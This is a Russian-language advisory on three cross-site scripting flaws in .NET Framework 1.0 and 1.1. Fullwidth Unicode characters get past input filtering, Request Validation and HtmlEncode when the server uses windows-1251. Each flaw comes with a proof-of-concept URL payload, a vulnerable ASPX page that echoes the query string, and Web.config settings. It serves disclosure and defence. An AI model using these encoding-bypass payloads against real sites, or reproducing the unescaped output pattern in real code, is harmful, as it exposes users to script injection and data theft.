Программа: .Net Framework, version 1.0; .Net Framework, version 1.0
SP1; .Net Framework, version 1.0 SP2; .Net Framework, version 1.1; .Net
Framework, version 1.1 SP1; .Net Framework, version 1.1 SP1 MS05-004

Уязвимость позволяет удаленному
пользователю произвести XSS нападение и
получить доступ к важным данным
пользователей. Уязвимость существует из-за
отсутствия фильтрации некоторых ASCII
символов в различных кодировках после
преобразования их в Unicode. Удаленный
пользователь может с помощью специально
сформированного URL выполнить произвольный
HTML сценарий в браузере жертвы, если
кодировка по умолчанию web-сервера отличная
от Unicode.

Пример:

http://server.com/attack1.aspx?test=%uff1cscript% uff1ealert(‘vulnerability’)%uff1c/script%uff1e

<!— Web page attack1.aspx —>
< % @Page Language="cs" %>
< %
Response.Write(Request.QueryString["test"]); // Attack through URL
parameter
%>
Web.config:
< configuration>
<system.web>
<globalization responseEncoding="windows-1251" />
</system.web>
< /configuration>

Уязвимость в механизме "Request Validation",
предназначенном для защиты от XSS атак и SQL-инъекций,
позволяет злоумышленнику произвести XSS
нападение, используя Unicode.

Пример:

http://server.com/attack2.aspx?test=%uff1cscript%uff1ealert (‘vulnerability’)%uff1c/script%uff1e

<% @Page Language="cs" validateRequest="true" %>
<%
Response.Write(Request.QueryString["test"]); // Attack through URL
parameter
%>

Web.config:
<configuration>
<system.web>
<globalization responseEncoding="windows-1251" />
</system.web>
< /configuration>

Отсутствие фильтрации в HttpServerUtility.HtmlEncode
утилите позволяет удаленному пользователю
произвести XSS нападение.

Пример:

http://server.com/attack3.aspx?test=%uff1cscript%uff1ealert (‘vulnerability’)%uff1c/script%uff1e

<!— Web page attack3.aspx —>
< % @Page Language="cs" %>
< %
Response.Write(Server.HtmlEncode(Request.QueryString["test"])); // 1)
Attack through URL parameter
string code = Server.HtmlEncode("\xff1cscript\xff1ealert(‘vulnerability’)\xff1c/script\xff1e");
// 2) Attack through injected Unicode characters
Response.Write(code);
%>
Web.config:
< configuration>
<system.web>
<globalization responseEncoding="windows-1251" />
</system.web>
< /configuration>



Оставить мнение